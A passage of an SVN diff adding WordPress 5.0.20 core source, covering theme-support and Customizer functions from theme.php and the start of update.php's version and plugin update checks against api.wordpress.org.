+		case 'custom-header-uploads' :
+			if ( ! isset( $_wp_theme_features['custom-header'] ) )
+				return false;
+			add_theme_support( 'custom-header', array( 'uploads' => false ) );
+			return; // Do not continue - custom-header-uploads no longer exists.
+	}
+
+	if ( ! isset( $_wp_theme_features[ $feature ] ) )
+		return false;
+
+	switch ( $feature ) {
+		case 'custom-header' :
+			if ( ! did_action( 'wp_loaded' ) )
+				break;
+			$support = get_theme_support( 'custom-header' );
+			if ( isset( $support[0]['wp-head-callback'] ) ) {
+				remove_action( 'wp_head', $support[0]['wp-head-callback'] );
+			}
+			if ( isset( $GLOBALS['custom_image_header'] ) ) {
+				remove_action( 'admin_menu', array( $GLOBALS['custom_image_header'], 'init' ) );
+				unset( $GLOBALS['custom_image_header'] );
+			}
+			break;
+
+		case 'custom-background' :
+			if ( ! did_action( 'wp_loaded' ) )
+				break;
+			$support = get_theme_support( 'custom-background' );
+			remove_action( 'wp_head', $support[0]['wp-head-callback'] );
+			remove_action( 'admin_menu', array( $GLOBALS['custom_background'], 'init' ) );
+			unset( $GLOBALS['custom_background'] );
+			break;
+	}
+
+	unset( $_wp_theme_features[ $feature ] );
+	return true;
+}
+
+/**
+ * Checks a theme's support for a given feature
+ *
+ * @since 2.9.0
+ *
+ * @global array $_wp_theme_features
+ *
+ * @param string $feature the feature being checked
+ * @return bool
+ */
+function current_theme_supports( $feature ) {
+	global $_wp_theme_features;
+
+	if ( 'custom-header-uploads' == $feature )
+		return current_theme_supports( 'custom-header', 'uploads' );
+
+	if ( !isset( $_wp_theme_features[$feature] ) )
+		return false;
+
+	// If no args passed then no extra checks need be performed
+	if ( func_num_args() <= 1 )
+		return true;
+
+	$args = array_slice( func_get_args(), 1 );
+
+	switch ( $feature ) {
+		case 'post-thumbnails':
+			// post-thumbnails can be registered for only certain content/post types by passing
+			// an array of types to add_theme_support(). If no array was passed, then
+			// any type is accepted
+			if ( true === $_wp_theme_features[$feature] )  // Registered for all types
+				return true;
+			$content_type = $args[0];
+			return in_array( $content_type, $_wp_theme_features[$feature][0] );
+
+		case 'html5':
+		case 'post-formats':
+			// specific post formats can be registered by passing an array of types to
+			// add_theme_support()
+
+			// Specific areas of HTML5 support *must* be passed via an array to add_theme_support()
+
+			$type = $args[0];
+			return in_array( $type, $_wp_theme_features[$feature][0] );
+
+		case 'custom-logo':
+		case 'custom-header':
+		case 'custom-background':
+			// Specific capabilities can be registered by passing an array to add_theme_support().
+			return ( isset( $_wp_theme_features[ $feature ][0][ $args[0] ] ) && $_wp_theme_features[ $feature ][0][ $args[0] ] );
+	}
+
+	/**
+	 * Filters whether the current theme supports a specific feature.
+	 *
+	 * The dynamic portion of the hook name, `$feature`, refers to the specific theme
+	 * feature. Possible values include 'post-formats', 'post-thumbnails', 'custom-background',
+	 * 'custom-header', 'menus', 'automatic-feed-links', 'html5',
+	 * 'starter-content', and 'customize-selective-refresh-widgets'.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param bool   true     Whether the current theme supports the given feature. Default true.
+	 * @param array  $args    Array of arguments for the feature.
+	 * @param string $feature The theme feature.
+	 */
+	return apply_filters( "current_theme_supports-{$feature}", true, $args, $_wp_theme_features[$feature] );
+}
+
+/**
+ * Checks a theme's support for a given feature before loading the functions which implement it.
+ *
+ * @since 2.9.0
+ *
+ * @param string $feature The feature being checked.
+ * @param string $include Path to the file.
+ * @return bool True if the current theme supports the supplied feature, false otherwise.
+ */
+function require_if_theme_supports( $feature, $include ) {
+	if ( current_theme_supports( $feature ) ) {
+		require ( $include );
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Checks an attachment being deleted to see if it's a header or background image.
+ *
+ * If true it removes the theme modification which would be pointing at the deleted
+ * attachment.
+ *
+ * @access private
+ * @since 3.0.0
+ * @since 4.3.0 Also removes `header_image_data`.
+ * @since 4.5.0 Also removes custom logo theme mods.
+ *
+ * @param int $id The attachment id.
+ */
+function _delete_attachment_theme_mod( $id ) {
+	$attachment_image = wp_get_attachment_url( $id );
+	$header_image     = get_header_image();
+	$background_image = get_background_image();
+	$custom_logo_id   = get_theme_mod( 'custom_logo' );
+
+	if ( $custom_logo_id && $custom_logo_id == $id ) {
+		remove_theme_mod( 'custom_logo' );
+		remove_theme_mod( 'header_text' );
+	}
+
+	if ( $header_image && $header_image == $attachment_image ) {
+		remove_theme_mod( 'header_image' );
+		remove_theme_mod( 'header_image_data' );
+	}
+
+	if ( $background_image && $background_image == $attachment_image ) {
+		remove_theme_mod( 'background_image' );
+	}
+}
+
+/**
+ * Checks if a theme has been changed and runs 'after_switch_theme' hook on the next WP load.
+ *
+ * See {@see 'after_switch_theme'}.
+ *
+ * @since 3.3.0
+ */
+function check_theme_switched() {
+	if ( $stylesheet = get_option( 'theme_switched' ) ) {
+		$old_theme = wp_get_theme( $stylesheet );
+
+		// Prevent widget & menu mapping from running since Customizer already called it up front
+		if ( get_option( 'theme_switched_via_customizer' ) ) {
+			remove_action( 'after_switch_theme', '_wp_menus_changed' );
+			remove_action( 'after_switch_theme', '_wp_sidebars_changed' );
+			update_option( 'theme_switched_via_customizer', false );
+		}
+
+		if ( $old_theme->exists() ) {
+			/**
+			 * Fires on the first WP load after a theme switch if the old theme still exists.
+			 *
+			 * This action fires multiple times and the parameters differs
+			 * according to the context, if the old theme exists or not.
+			 * If the old theme is missing, the parameter will be the slug
+			 * of the old theme.
+			 *
+			 * @since 3.3.0
+			 *
+			 * @param string   $old_name  Old theme name.
+			 * @param WP_Theme $old_theme WP_Theme instance of the old theme.
+			 */
+			do_action( 'after_switch_theme', $old_theme->get( 'Name' ), $old_theme );
+		} else {
+			/** This action is documented in wp-includes/theme.php */
+			do_action( 'after_switch_theme', $stylesheet, $old_theme );
+		}
+		flush_rewrite_rules();
+
+		update_option( 'theme_switched', false );
+	}
+}
+
+/**
+ * Includes and instantiates the WP_Customize_Manager class.
+ *
+ * Loads the Customizer at plugins_loaded when accessing the customize.php admin
+ * page or when any request includes a wp_customize=on param or a customize_changeset
+ * param (a UUID). This param is a signal for whether to bootstrap the Customizer when
+ * WordPress is loading, especially in the Customizer preview
+ * or when making Customizer Ajax requests for widgets or menus.
+ *
+ * @since 3.4.0
+ *
+ * @global WP_Customize_Manager $wp_customize
+ */
+function _wp_customize_include() {
+
+	$is_customize_admin_page = ( is_admin() && 'customize.php' == basename( $_SERVER['PHP_SELF'] ) );
+	$should_include = (
+		$is_customize_admin_page
+		||
+		( isset( $_REQUEST['wp_customize'] ) && 'on' == $_REQUEST['wp_customize'] )
+		||
+		( ! empty( $_GET['customize_changeset_uuid'] ) || ! empty( $_POST['customize_changeset_uuid'] ) )
+	);
+
+	if ( ! $should_include ) {
+		return;
+	}
+
+	/*
+	 * Note that wp_unslash() is not being used on the input vars because it is
+	 * called before wp_magic_quotes() gets called. Besides this fact, none of
+	 * the values should contain any characters needing slashes anyway.
+	 */
+	$keys = array( 'changeset_uuid', 'customize_changeset_uuid', 'customize_theme', 'theme', 'customize_messenger_channel', 'customize_autosaved' );
+	$input_vars = array_merge(
+		wp_array_slice_assoc( $_GET, $keys ),
+		wp_array_slice_assoc( $_POST, $keys )
+	);
+
+	$theme = null;
+	$changeset_uuid = false; // Value false indicates UUID should be determined after_setup_theme to either re-use existing saved changeset or else generate a new UUID if none exists.
+	$messenger_channel = null;
+	$autosaved = null;
+	$branching = false; // Set initially fo false since defaults to true for back-compat; can be overridden via the customize_changeset_branching filter.
+
+	if ( $is_customize_admin_page && isset( $input_vars['changeset_uuid'] ) ) {
+		$changeset_uuid = sanitize_key( $input_vars['changeset_uuid'] );
+	} elseif ( ! empty( $input_vars['customize_changeset_uuid'] ) ) {
+		$changeset_uuid = sanitize_key( $input_vars['customize_changeset_uuid'] );
+	}
+
+	// Note that theme will be sanitized via WP_Theme.
+	if ( $is_customize_admin_page && isset( $input_vars['theme'] ) ) {
+		$theme = $input_vars['theme'];
+	} elseif ( isset( $input_vars['customize_theme'] ) ) {
+		$theme = $input_vars['customize_theme'];
+	}
+
+	if ( ! empty( $input_vars['customize_autosaved'] ) ) {
+		$autosaved = true;
+	}
+
+	if ( isset( $input_vars['customize_messenger_channel'] ) ) {
+		$messenger_channel = sanitize_key( $input_vars['customize_messenger_channel'] );
+	}
+
+	/*
+	 * Note that settings must be previewed even outside the customizer preview
+	 * and also in the customizer pane itself. This is to enable loading an existing
+	 * changeset into the customizer. Previewing the settings only has to be prevented
+	 * here in the case of a customize_save action because this will cause WP to think
+	 * there is nothing changed that needs to be saved.
+	 */
+	$is_customize_save_action = (
+		wp_doing_ajax()
+		&&
+		isset( $_REQUEST['action'] )
+		&&
+		'customize_save' === wp_unslash( $_REQUEST['action'] )
+	);
+	$settings_previewed = ! $is_customize_save_action;
+
+	require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
+	$GLOBALS['wp_customize'] = new WP_Customize_Manager( compact( 'changeset_uuid', 'theme', 'messenger_channel', 'settings_previewed', 'autosaved', 'branching' ) );
+}
+
+/**
+ * Publishes a snapshot's changes.
+ *
+ * @since 4.7.0
+ * @access private
+ *
+ * @global wpdb                 $wpdb         WordPress database abstraction object.
+ * @global WP_Customize_Manager $wp_customize Customizer instance.
+ *
+ * @param string  $new_status     New post status.
+ * @param string  $old_status     Old post status.
+ * @param WP_Post $changeset_post Changeset post object.
+ */
+function _wp_customize_publish_changeset( $new_status, $old_status, $changeset_post ) {
+	global $wp_customize, $wpdb;
+
+	$is_publishing_changeset = (
+		'customize_changeset' === $changeset_post->post_type
+		&&
+		'publish' === $new_status
+		&&
+		'publish' !== $old_status
+	);
+	if ( ! $is_publishing_changeset ) {
+		return;
+	}
+
+	if ( empty( $wp_customize ) ) {
+		require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
+		$wp_customize = new WP_Customize_Manager( array(
+			'changeset_uuid' => $changeset_post->post_name,
+			'settings_previewed' => false,
+		) );
+	}
+
+	if ( ! did_action( 'customize_register' ) ) {
+		/*
+		 * When running from CLI or Cron, the customize_register action will need
+		 * to be triggered in order for core, themes, and plugins to register their
+		 * settings. Normally core will add_action( 'customize_register' ) at
+		 * priority 10 to register the core settings, and if any themes/plugins
+		 * also add_action( 'customize_register' ) at the same priority, they
+		 * will have a $wp_customize with those settings registered since they
+		 * call add_action() afterward, normally. However, when manually doing
+		 * the customize_register action after the setup_theme, then the order
+		 * will be reversed for two actions added at priority 10, resulting in
+		 * the core settings no longer being available as expected to themes/plugins.
+		 * So the following manually calls the method that registers the core
+		 * settings up front before doing the action.
+		 */
+		remove_action( 'customize_register', array( $wp_customize, 'register_controls' ) );
+		$wp_customize->register_controls();
+
+		/** This filter is documented in /wp-includes/class-wp-customize-manager.php */
+		do_action( 'customize_register', $wp_customize );
+	}
+	$wp_customize->_publish_changeset_values( $changeset_post->ID ) ;
+
+	/*
+	 * Trash the changeset post if revisions are not enabled. Unpublished
+	 * changesets by default get garbage collected due to the auto-draft status.
+	 * When a changeset post is published, however, it would no longer get cleaned
+	 * out. Ths is a problem when the changeset posts are never displayed anywhere,
+	 * since they would just be endlessly piling up. So here we use the revisions
+	 * feature to indicate whether or not a published changeset should get trashed
+	 * and thus garbage collected.
+	 */
+	if ( ! wp_revisions_enabled( $changeset_post ) ) {
+		$wp_customize->trash_changeset_post( $changeset_post->ID );
+	}
+}
+
+/**
+ * Filters changeset post data upon insert to ensure post_name is intact.
+ *
+ * This is needed to prevent the post_name from being dropped when the post is
+ * transitioned into pending status by a contributor.
+ *
+ * @since 4.7.0
+ * @see wp_insert_post()
+ *
+ * @param array $post_data          An array of slashed post data.
+ * @param array $supplied_post_data An array of sanitized, but otherwise unmodified post data.
+ * @returns array Filtered data.
+ */
+function _wp_customize_changeset_filter_insert_post_data( $post_data, $supplied_post_data ) {
+	if ( isset( $post_data['post_type'] ) && 'customize_changeset' === $post_data['post_type'] ) {
+
+		// Prevent post_name from being dropped, such as when contributor saves a changeset post as pending.
+		if ( empty( $post_data['post_name'] ) && ! empty( $supplied_post_data['post_name'] ) ) {
+			$post_data['post_name'] = $supplied_post_data['post_name'];
+		}
+	}
+	return $post_data;
+}
+
+/**
+ * Adds settings for the customize-loader script.
+ *
+ * @since 3.4.0
+ */
+function _wp_customize_loader_settings() {
+	$admin_origin = parse_url( admin_url() );
+	$home_origin  = parse_url( home_url() );
+	$cross_domain = ( strtolower( $admin_origin[ 'host' ] ) != strtolower( $home_origin[ 'host' ] ) );
+
+	$browser = array(
+		'mobile' => wp_is_mobile(),
+		'ios'    => wp_is_mobile() && preg_match( '/iPad|iPod|iPhone/', $_SERVER['HTTP_USER_AGENT'] ),
+	);
+
+	$settings = array(
+		'url'           => esc_url( admin_url( 'customize.php' ) ),
+		'isCrossDomain' => $cross_domain,
+		'browser'       => $browser,
+		'l10n'          => array(
+			'saveAlert'       => __( 'The changes you made will be lost if you navigate away from this page.' ),
+			'mainIframeTitle' => __( 'Customizer' ),
+		),
+	);
+
+	$script = 'var _wpCustomizeLoaderSettings = ' . wp_json_encode( $settings ) . ';';
+
+	$wp_scripts = wp_scripts();
+	$data = $wp_scripts->get_data( 'customize-loader', 'data' );
+	if ( $data )
+		$script = "$data\n$script";
+
+	$wp_scripts->add_data( 'customize-loader', 'data', $script );
+}
+
+/**
+ * Returns a URL to load the Customizer.
+ *
+ * @since 3.4.0
+ *
+ * @param string $stylesheet Optional. Theme to customize. Defaults to current theme.
+ * 	                         The theme's stylesheet will be urlencoded if necessary.
+ * @return string
+ */
+function wp_customize_url( $stylesheet = null ) {
+	$url = admin_url( 'customize.php' );
+	if ( $stylesheet )
+		$url .= '?theme=' . urlencode( $stylesheet );
+	return esc_url( $url );
+}
+
+/**
+ * Prints a script to check whether or not the Customizer is supported,
+ * and apply either the no-customize-support or customize-support class
+ * to the body.
+ *
+ * This function MUST be called inside the body tag.
+ *
+ * Ideally, call this function immediately after the body tag is opened.
+ * This prevents a flash of unstyled content.
+ *
+ * It is also recommended that you add the "no-customize-support" class
+ * to the body tag by default.
+ *
+ * @since 3.4.0
+ * @since 4.7.0 Support for IE8 and below is explicitly removed via conditional comments.
+ */
+function wp_customize_support_script() {
+	$admin_origin = parse_url( admin_url() );
+	$home_origin  = parse_url( home_url() );
+	$cross_domain = ( strtolower( $admin_origin[ 'host' ] ) != strtolower( $home_origin[ 'host' ] ) );
+
+	?>
+	<!--[if lte IE 8]>
+		<script type="text/javascript">
+			document.body.className = document.body.className.replace( /(^|\s)(no-)?customize-support(?=\s|$)/, '' ) + ' no-customize-support';
+		</script>
+	<![endif]-->
+	<!--[if gte IE 9]><!-->
+		<script type="text/javascript">
+			(function() {
+				var request, b = document.body, c = 'className', cs = 'customize-support', rcs = new RegExp('(^|\\s+)(no-)?'+cs+'(\\s+|$)');
+
+		<?php	if ( $cross_domain ) : ?>
+				request = (function(){ var xhr = new XMLHttpRequest(); return ('withCredentials' in xhr); })();
+		<?php	else : ?>
+				request = true;
+		<?php	endif; ?>
+
+				b[c] = b[c].replace( rcs, ' ' );
+				// The customizer requires postMessage and CORS (if the site is cross domain)
+				b[c] += ( window.postMessage && request ? ' ' : ' no-' ) + cs;
+			}());
+		</script>
+	<!--<![endif]-->
+	<?php
+}
+
+/**
+ * Whether the site is being previewed in the Customizer.
+ *
+ * @since 4.0.0
+ *
+ * @global WP_Customize_Manager $wp_customize Customizer instance.
+ *
+ * @return bool True if the site is being previewed in the Customizer, false otherwise.
+ */
+function is_customize_preview() {
+	global $wp_customize;
+
+	return ( $wp_customize instanceof WP_Customize_Manager ) && $wp_customize->is_preview();
+}
+
+/**
+ * Make sure that auto-draft posts get their post_date bumped or status changed to draft to prevent premature garbage-collection.
+ *
+ * When a changeset is updated but remains an auto-draft, ensure the post_date
+ * for the auto-draft posts remains the same so that it will be
+ * garbage-collected at the same time by `wp_delete_auto_drafts()`. Otherwise,
+ * if the changeset is updated to be a draft then update the posts
+ * to have a far-future post_date so that they will never be garbage collected
+ * unless the changeset post itself is deleted.
+ *
+ * When a changeset is updated to be a persistent draft or to be scheduled for
+ * publishing, then transition any dependent auto-drafts to a draft status so
+ * that they likewise will not be garbage-collected but also so that they can
+ * be edited in the admin before publishing since there is not yet a post/page
+ * editing flow in the Customizer. See #39752.
+ *
+ * @link https://core.trac.wordpress.org/ticket/39752
+ *
+ * @since 4.8.0
+ * @access private
+ * @see wp_delete_auto_drafts()
+ *
+ * @param string   $new_status Transition to this post status.
+ * @param string   $old_status Previous post status.
+ * @param \WP_Post $post       Post data.
+ * @global wpdb $wpdb
+ */
+function _wp_keep_alive_customize_changeset_dependent_auto_drafts( $new_status, $old_status, $post ) {
+	global $wpdb;
+	unset( $old_status );
+
+	// Short-circuit if not a changeset or if the changeset was published.
+	if ( 'customize_changeset' !== $post->post_type || 'publish' === $new_status ) {
+		return;
+	}
+
+	$data = json_decode( $post->post_content, true );
+	if ( empty( $data['nav_menus_created_posts']['value'] ) ) {
+		return;
+	}
+
+	/*
+	 * Actually, in lieu of keeping alive, trash any customization drafts here if the changeset itself is
+	 * getting trashed. This is needed because when a changeset transitions to a draft, then any of the
+	 * dependent auto-draft post/page stubs will also get transitioned to customization drafts which
+	 * are then visible in the WP Admin. We cannot wait for the deletion of the changeset in which
+	 * _wp_delete_customize_changeset_dependent_auto_drafts() will be called, since they need to be
+	 * trashed to remove from visibility immediately.
+	 */
+	if ( 'trash' === $new_status ) {
+		foreach ( $data['nav_menus_created_posts']['value'] as $post_id ) {
+			if ( ! empty( $post_id ) && 'draft' === get_post_status( $post_id ) ) {
+				wp_trash_post( $post_id );
+			}
+		}
+		return;
+	}
+
+	$post_args = array();
+	if ( 'auto-draft' === $new_status ) {
+		/*
+		 * Keep the post date for the post matching the changeset
+		 * so that it will not be garbage-collected before the changeset.
+		 */
+		$post_args['post_date'] = $post->post_date; // Note wp_delete_auto_drafts() only looks at this date.
+	} else {
+		/*
+		 * Since the changeset no longer has an auto-draft (and it is not published)
+		 * it is now a persistent changeset, a long-lived draft, and so any
+		 * associated auto-draft posts should likewise transition into having a draft
+		 * status. These drafts will be treated differently than regular drafts in
+		 * that they will be tied to the given changeset. The publish metabox is
+		 * replaced with a notice about how the post is part of a set of customized changes
+		 * which will be published when the changeset is published.
+		 */
+		$post_args['post_status'] = 'draft';
+	}
+
+	foreach ( $data['nav_menus_created_posts']['value'] as $post_id ) {
+		if ( empty( $post_id ) || 'auto-draft' !== get_post_status( $post_id ) ) {
+			continue;
+		}
+		$wpdb->update(
+			$wpdb->posts,
+			$post_args,
+			array( 'ID' => $post_id )
+		);
+		clean_post_cache( $post_id );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/update.php
===================================================================
--- /tags/5.0.20/src/wp-includes/update.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/update.php	(revision 56912)
@@ -0,0 +1,762 @@
+<?php
+/**
+ * A simple set of functions to check our version 1.0 update service.
+ *
+ * @package WordPress
+ * @since 2.3.0
+ */
+
+/**
+ * Check WordPress version against the newest version.
+ *
+ * The WordPress version, PHP version, and Locale is sent. Checks against the
+ * WordPress server at api.wordpress.org server. Will only check if WordPress
+ * isn't installing.
+ *
+ * @since 2.3.0
+ * @global string $wp_version Used to check against the newest WordPress version.
+ * @global wpdb   $wpdb
+ * @global string $wp_local_package
+ *
+ * @param array $extra_stats Extra statistics to report to the WordPress.org API.
+ * @param bool  $force_check Whether to bypass the transient cache and force a fresh update check. Defaults to false, true if $extra_stats is set.
+ */
+function wp_version_check( $extra_stats = array(), $force_check = false ) {
+	if ( wp_installing() ) {
+		return;
+	}
+
+	global $wpdb, $wp_local_package;
+	// include an unmodified $wp_version
+	include( ABSPATH . WPINC . '/version.php' );
+	$php_version = phpversion();
+
+	$current = get_site_transient( 'update_core' );
+	$translations = wp_get_installed_translations( 'core' );
+
+	// Invalidate the transient when $wp_version changes
+	if ( is_object( $current ) && $wp_version != $current->version_checked )
+		$current = false;
+
+	if ( ! is_object($current) ) {
+		$current = new stdClass;
+		$current->updates = array();
+		$current->version_checked = $wp_version;
+	}
+
+	if ( ! empty( $extra_stats ) )
+		$force_check = true;
+
+	// Wait 60 seconds between multiple version check requests
+	$timeout = 60;
+	$time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked );
+	if ( ! $force_check && $time_not_changed ) {
+		return;
+	}
+
+	/**
+	 * Filters the locale requested for WordPress core translations.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $locale Current locale.
+	 */
+	$locale = apply_filters( 'core_version_check_locale', get_locale() );
+
+	// Update last_checked for current to prevent multiple blocking requests if request hangs
+	$current->last_checked = time();
+	set_site_transient( 'update_core', $current );
+
+	if ( method_exists( $wpdb, 'db_version' ) )
+		$mysql_version = preg_replace('/[^0-9.].*/', '', $wpdb->db_version());
+	else
+		$mysql_version = 'N/A';
+
+	if ( is_multisite() ) {
+		$user_count = get_user_count();
+		$num_blogs = get_blog_count();
+		$wp_install = network_site_url();
+		$multisite_enabled = 1;
+	} else {
+		$user_count = count_users();
+		$user_count = $user_count['total_users'];
+		$multisite_enabled = 0;
+		$num_blogs = 1;
+		$wp_install = home_url( '/' );
+	}
+
+	$query = array(
+		'version'            => $wp_version,
+		'php'                => $php_version,
+		'locale'             => $locale,
+		'mysql'              => $mysql_version,
+		'local_package'      => isset( $wp_local_package ) ? $wp_local_package : '',
+		'blogs'              => $num_blogs,
+		'users'              => $user_count,
+		'multisite_enabled'  => $multisite_enabled,
+		'initial_db_version' => get_site_option( 'initial_db_version' ),
+	);
+
+	/**
+	 * Filter the query arguments sent as part of the core version check.
+	 *
+	 * WARNING: Changing this data may result in your site not receiving security updates.
+	 * Please exercise extreme caution.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array $query {
+	 *     Version check query arguments. 
+	 *
+	 *     @type string $version            WordPress version number.
+	 *     @type string $php                PHP version number.
+	 *     @type string $locale             The locale to retrieve updates for.
+	 *     @type string $mysql              MySQL version number.
+	 *     @type string $local_package      The value of the $wp_local_package global, when set.
+	 *     @type int    $blogs              Number of sites on this WordPress installation.
+	 *     @type int    $users              Number of users on this WordPress installation.
+	 *     @type int    $multisite_enabled  Whether this WordPress installation uses Multisite.
+	 *     @type int    $initial_db_version Database version of WordPress at time of installation.
+	 * }
+	 */
+	$query = apply_filters( 'core_version_check_query_args', $query );
+
+	$post_body = array(
+		'translations' => wp_json_encode( $translations ),
+	);
+
+	if ( is_array( $extra_stats ) )
+		$post_body = array_merge( $post_body, $extra_stats );
+
+	$url = $http_url = 'http://api.wordpress.org/core/version-check/1.7/?' . http_build_query( $query, null, '&' );
+	if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
+		$url = set_url_scheme( $url, 'https' );
+
+	$doing_cron = wp_doing_cron();
+
+	$options = array(
+		'timeout' => $doing_cron ? 30 : 3,
+		'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
+		'headers' => array(
+			'wp_install' => $wp_install,
+			'wp_blog' => home_url( '/' )
+		),
+		'body' => $post_body,
+	);
+
+	$response = wp_remote_post( $url, $options );
+	if ( $ssl && is_wp_error( $response ) ) {
+		trigger_error(
+			sprintf(
+				/* translators: %s: support forums URL */
+				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+				__( 'https://wordpress.org/support/' )
+			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
+			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
+		);
+		$response = wp_remote_post( $http_url, $options );
+	}
+
+	if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) ) {
+		return;
+	}
+
+	$body = trim( wp_remote_retrieve_body( $response ) );
+	$body = json_decode( $body, true );
+
+	if ( ! is_array( $body ) || ! isset( $body['offers'] ) ) {
+		return;
+	}
+
+	$offers = $body['offers'];
+
+	foreach ( $offers as &$offer ) {
+		foreach ( $offer as $offer_key => $value ) {
+			if ( 'packages' == $offer_key )
+				$offer['packages'] = (object) array_intersect_key( array_map( 'esc_url', $offer['packages'] ),
+					array_fill_keys( array( 'full', 'no_content', 'new_bundled', 'partial', 'rollback' ), '' ) );
+			elseif ( 'download' == $offer_key )
+				$offer['download'] = esc_url( $value );
+			else
+				$offer[ $offer_key ] = esc_html( $value );
+		}
+		$offer = (object) array_intersect_key( $offer, array_fill_keys( array( 'response', 'download', 'locale',
+			'packages', 'current', 'version', 'php_version', 'mysql_version', 'new_bundled', 'partial_version', 'notify_email', 'support_email', 'new_files' ), '' ) );
+	}
+
+	$updates = new stdClass();
+	$updates->updates = $offers;
+	$updates->last_checked = time();
+	$updates->version_checked = $wp_version;
+
+	if ( isset( $body['translations'] ) )
+		$updates->translations = $body['translations'];
+
+	set_site_transient( 'update_core', $updates );
+
+	if ( ! empty( $body['ttl'] ) ) {
+		$ttl = (int) $body['ttl'];
+		if ( $ttl && ( time() + $ttl < wp_next_scheduled( 'wp_version_check' ) ) ) {
+			// Queue an event to re-run the update check in $ttl seconds.
+			wp_schedule_single_event( time() + $ttl, 'wp_version_check' );
+		}
+	}
+
+	// Trigger background updates if running non-interactively, and we weren't called from the update handler.
+	if ( $doing_cron && ! doing_action( 'wp_maybe_auto_update' ) ) {
+		do_action( 'wp_maybe_auto_update' );
+	}
+}
+
+/**
+ * Check plugin versions against the latest versions hosted on WordPress.org.
+ *
+ * The WordPress version, PHP version, and Locale is sent along with a list of
+ * all plugins installed. Checks against the WordPress server at
+ * api.wordpress.org. Will only check if WordPress isn't installing.
+ *
+ * @since 2.3.0
+ * @global string $wp_version Used to notify the WordPress version.
+ *
+ * @param array $extra_stats Extra statistics to report to the WordPress.org API.
+ */
+function wp_update_plugins( $extra_stats = array() ) {
+	if ( wp_installing() ) {
+		return;
+	}
+
+	// include an unmodified $wp_version
+	include( ABSPATH . WPINC . '/version.php' );
+
+	// If running blog-side, bail unless we've not checked in the last 12 hours
+	if ( !function_exists( 'get_plugins' ) )
+		require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
+
+	$plugins = get_plugins();
+	$translations = wp_get_installed_translations( 'plugins' );
+
+	$active  = get_option( 'active_plugins', array() );
+	$current = get_site_transient( 'update_plugins' );
+	if ( ! is_object($current) )
+		$current = new stdClass;
+
+	$new_option = new stdClass;
+	$new_option->last_checked = time();
+
+	$doing_cron = wp_doing_cron();
+
+	// Check for update on a different schedule, depending on the page.
+	switch ( current_filter() ) {
+		case 'upgrader_process_complete' :
+			$timeout = 0;
+			break;
+		case 'load-update-core.php' :
+			$timeout = MINUTE_IN_SECONDS;
+			break;
+		case 'load-plugins.php' :
+		case 'load-update.php' :
+			$timeout = HOUR_IN_SECONDS;
+			break;
+		default :
+			if ( $doing_cron ) {
+				$timeout = 2 * HOUR_IN_SECONDS;
+			} else {
+				$timeout = 12 * HOUR_IN_SECONDS;
+			}
+	}
+
+	$time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked );
+
+	if ( $time_not_changed && ! $extra_stats ) {
+		$plugin_changed = false;
+		foreach ( $plugins as $file => $p ) {
+			$new_option->checked[ $file ] = $p['Version'];
+
+			if ( !isset( $current->checked[ $file ] ) || strval($current->checked[ $file ]) !== strval($p['Version']) )
+				$plugin_changed = true;
+		}
+
+		if ( isset ( $current->response ) && is_array( $current->response ) ) {
+			foreach ( $current->response as $plugin_file => $update_details ) {
+				if ( ! isset($plugins[ $plugin_file ]) ) {
+					$plugin_changed = true;
+					break;
+				}
+			}
+		}
+
+		// Bail if we've checked recently and if nothing has changed
+		if ( ! $plugin_changed ) {
+			return;
+		}
+	}
+
+	// Update last_checked for current to prevent multiple blocking requests if request hangs
+	$current->last_checked = time();
+	set_site_transient( 'update_plugins', $current );
+
+	$to_send = compact( 'plugins', 'active' );
+
+	$locales = array_values( get_available_languages() );
+
+	/**
+	 * Filters the locales requested for plugin translations.
+	 *
+	 * @since 3.7.0
+	 * @since 4.5.0 The default value of the `$locales` parameter changed to include all locales.
+	 *
+	 * @param array $locales Plugin locales. Default is all available locales of the site.
+	 */
+	$locales = apply_filters( 'plugins_update_check_locales', $locales );
+	$locales = array_unique( $locales );
+
+	if ( $doing_cron ) {
+		$timeout = 30;
+	} else {
+		// Three seconds, plus one extra second for every 10 plugins
+		$timeout = 3 + (int) ( count( $plugins ) / 10 );
+	}
+
+	$options = array(
+		'timeout' => $timeout,
+		'body' => array(
+			'plugins'      => wp_json_encode( $to_send ),
+			'translations' => wp_json_encode( $translations ),
+			'locale'       => wp_json_encode( $locales ),
+			'all'          => wp_json_encode( true ),
+		),
+		'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' )
+	);
+
+	if ( $extra_stats ) {
+		$options['body']['update_stats'] = wp_json_encode( $extra_stats );
+	}
+
+	$url = $http_url = 'http://api.wordpress.org/plugins/update-check/1.1/';
+	if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
+		$url = set_url_scheme( $url, 'https' );
+
+	$raw_response = wp_remote_post( $url, $options );
+	if ( $ssl && is_wp_error( $raw_response ) ) {
+		trigger_error(
+			sprintf(
+				/* translators: %s: support forums URL */
+				__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
+				__( 'https://wordpress.org/support/' )
+			) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
+			headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
+		);
+		$raw_response = wp_remote_post( $http_url, $options );
+	}
+
+	if ( is_wp_error( $raw_response ) || 200 != wp_remote_retrieve_response_code( $raw_response ) ) {
+		return;
+	}
+
+	$response = json_decode( wp_remote_retrieve_body( $raw_response ), true );
